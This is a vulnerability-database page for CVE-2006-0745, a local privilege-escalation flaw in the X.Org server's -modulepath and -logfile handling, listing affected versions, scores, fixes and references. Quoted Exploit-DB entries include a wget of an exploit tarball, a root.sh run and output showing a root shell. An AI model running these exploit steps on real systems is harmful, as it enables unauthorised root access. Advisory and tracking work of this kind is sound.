CVE-2006-0745
published 2006-03-21CVE-2006-0745: X.Org server (xorg-server) 1.0.0 and later, X11R6.9.0, and X11R7.0 inadvertently treats the address of the geteuid function as if it is the return value of a…
PriorityP429high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
1.10%
61.9th percentile
X.Org server (xorg-server) 1.0.0 and later, X11R6.9.0, and X11R7.0 inadvertently treats the address of the geteuid function as if it is the return value of a call to geteuid, which allows local users to bypass intended restrictions and (1) execute arbitrary code via the -modulepath command line option or (2) overwrite arbitrary files via -logfile.
Affected
12 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | xorg-server | < xorg-server 1:1.0.2-1 (bookworm) | xorg-server 1:1.0.2-1 (bookworm) |
| mandrakesoft | mandrake_linux | — | — |
| redhat | fedora_core | — | — |
| sun | solaris | — | — |
| suse | suse_linux | — | — |
| x.org | x11r6 | — | — |
| x.org | x11r7 | — | — |
| x.org | x11r7 | — | — |
| x.org | xorg-server | >= 0 < 1:1.0.2-1 | 1:1.0.2-1 |
| x.org | xorg-server | >= 0 < 1:1.0.2-1 | 1:1.0.2-1 |
| x.org | xorg-server | >= 0 < 1:1.0.2-1 | 1:1.0.2-1 |
| x.org | xorg-server | >= 0 < 1:1.0.2-1 | 1:1.0.2-1 |
CVSS provenance
nvdv2.07.2HIGHAV:L/AC:L/Au:N/C:C/I:C/A:C
osv7.2HIGH
vendor_debian7.2MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-qhrh-3jj7-5jgg: X
ghsa_unreviewed·2022-05-01
CVE-2006-0745 [HIGH] GHSA-qhrh-3jj7-5jgg: X
X.Org server (xorg-server) 1.0.0 and later, X11R6.9.0, and X11R7.0 inadvertently treats the address of the geteuid function as if it is the return value of a call to geteuid, which allows local users to bypass intended restrictions and (1) execute arbitrary code via the -modulepath command line option or (2) overwrite arbitrary files via -logfile.
OSV
CVE-2006-0745: X
osv·2006-03-21·CVSS 7.2
CVE-2006-0745 [HIGH] CVE-2006-0745: X
X.Org server (xorg-server) 1.0.0 and later, X11R6.9.0, and X11R7.0 inadvertently treats the address of the geteuid function as if it is the return value of a call to geteuid, which allows local users to bypass intended restrictions and (1) execute arbitrary code via the -modulepath command line option or (2) overwrite arbitrary files via -logfile.
Debian
CVE-2006-0745: xorg-server - X.Org server (xorg-server) 1.0.0 and later, X11R6.9.0, and X11R7.0 inadvertently...
vendor_debian·2006·CVSS 7.2
CVE-2006-0745 [HIGH] CVE-2006-0745: xorg-server - X.Org server (xorg-server) 1.0.0 and later, X11R6.9.0, and X11R7.0 inadvertently...
X.Org server (xorg-server) 1.0.0 and later, X11R6.9.0, and X11R7.0 inadvertently treats the address of the geteuid function as if it is the return value of a call to geteuid, which allows local users to bypass intended restrictions and (1) execute arbitrary code via the -modulepath command line option or (2) overwrite arbitrary files via -logfile.
Scope: local
bookworm: resolved (fixed in 1:1.0.2-1)
bullseye: resolved (fixed in 1:1.0.2-1)
forky: resolved (fixed in 1:1.0.2-1)
sid: resolved (fixed in 1:1.0.2-1)
trixie: resolved (fixed in 1:1.0.2-1)
No detection rules found.
Exploit-DB
xorg-x11-server < 1.20.3 - 'modulepath' Local Privilege Escalation
exploitdb·2018-11-30·CVSS 7.2
CVE-2018-14665 [HIGH] xorg-x11-server < 1.20.3 - 'modulepath' Local Privilege Escalation
xorg-x11-server
#
# A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission
# check for -modulepath and -logfile options when starting Xorg. X server
# allows unprivileged users with the ability to log in to the system via
# physical console to escalate their privileges and run arbitrary code under
# root privileges (CVE-2018-14665).
#
# This exploit variant triggers the bug in the -modulepath command line switch
# to load a malicious X11 module in order to escalate privileges to root on
# vulnerable systems. This technique is less invasive than exploiting the
# -logfile switch, however the gcc compiler must be present in order for it to
# work out of the box. Alternatively, you must use a pre-compiled malicious .so
# compatible with the target system and modify the expl
Exploit-DB
X.Org X11 (X11R6.9.0/X11R7.0) - Local Privilege Escalation
exploitdb·2006-03-20
CVE-2006-0745 X.Org X11 (X11R6.9.0/X11R7.0) - Local Privilege Escalation
X.Org X11 (X11R6.9.0/X11R7.0) - Local Privilege Escalation
---
# From Daniel Stone's Advisory
# xorg-server 1.0.0, as shipped with X11R7.0, and all release candidates
# of X11R7.0, is vulnerable.
# X11R6.9.0, and all release candidates, are vulnerable.
# X11R6.8.2 and earlier versions are not vulnerable.
# The rest is H D Moore from metasploit
Two second exploit, but if anyone is lazy:
$ wget http://metasploit.com/users/hdm/tools/xmodulepath.tgz
$ tar -zpxvf xmodulepath.tgz
$ cd xmodulepath
$ ./root.sh
/bin/rm -f exploit.o exploit.so shell *.o *.so
gcc -fPIC -c exploit.c
gcc -shared -nostdlib exploit.o -o exploit.so
gcc -o shell shell.c
X Window System Version 7.0.0
Release Date: 21 December 2005
X Protocol Version 11, Revision 0, Release 7.0
[ snip ]
r00t # id
uid=0(root) gid=100(us
http://secunia.com/advisories/19256http://secunia.com/advisories/19307http://secunia.com/advisories/19311http://secunia.com/advisories/19316http://secunia.com/advisories/19676http://securityreason.com/securityalert/606http://securitytracker.com/id?1015793http://sunsolve.sun.com/search/document.do?assetkey=1-26-102252-1http://support.avaya.com/elmodocs2/security/ASA-2006-078.htmhttp://www.mandriva.com/security/advisories?name=MDKSA-2006:056http://www.novell.com/linux/security/advisories/2006_16_xorgx11server.htmlhttp://www.osvdb.org/24000http://www.osvdb.org/24001http://www.redhat.com/archives/fedora-announce-list/2006-March/msg00026.htmlhttp://www.securityfocus.com/archive/1/428183/100/0/threadedhttp://www.securityfocus.com/archive/1/428230/100/0/threadedhttp://www.securityfocus.com/bid/17169http://www.vupen.com/english/advisories/2006/1017http://www.vupen.com/english/advisories/2006/1028https://exchange.xforce.ibmcloud.com/vulnerabilities/25341https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1697http://secunia.com/advisories/19256http://secunia.com/advisories/19307http://secunia.com/advisories/19311http://secunia.com/advisories/19316http://secunia.com/advisories/19676http://securityreason.com/securityalert/606http://securitytracker.com/id?1015793http://sunsolve.sun.com/search/document.do?assetkey=1-26-102252-1http://support.avaya.com/elmodocs2/security/ASA-2006-078.htmhttp://www.mandriva.com/security/advisories?name=MDKSA-2006:056http://www.novell.com/linux/security/advisories/2006_16_xorgx11server.htmlhttp://www.osvdb.org/24000http://www.osvdb.org/24001http://www.redhat.com/archives/fedora-announce-list/2006-March/msg00026.htmlhttp://www.securityfocus.com/archive/1/428183/100/0/threadedhttp://www.securityfocus.com/archive/1/428230/100/0/threadedhttp://www.securityfocus.com/bid/17169http://www.vupen.com/english/advisories/2006/1017http://www.vupen.com/english/advisories/2006/1028https://exchange.xforce.ibmcloud.com/vulnerabilities/25341https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1697
2006-03-21
Published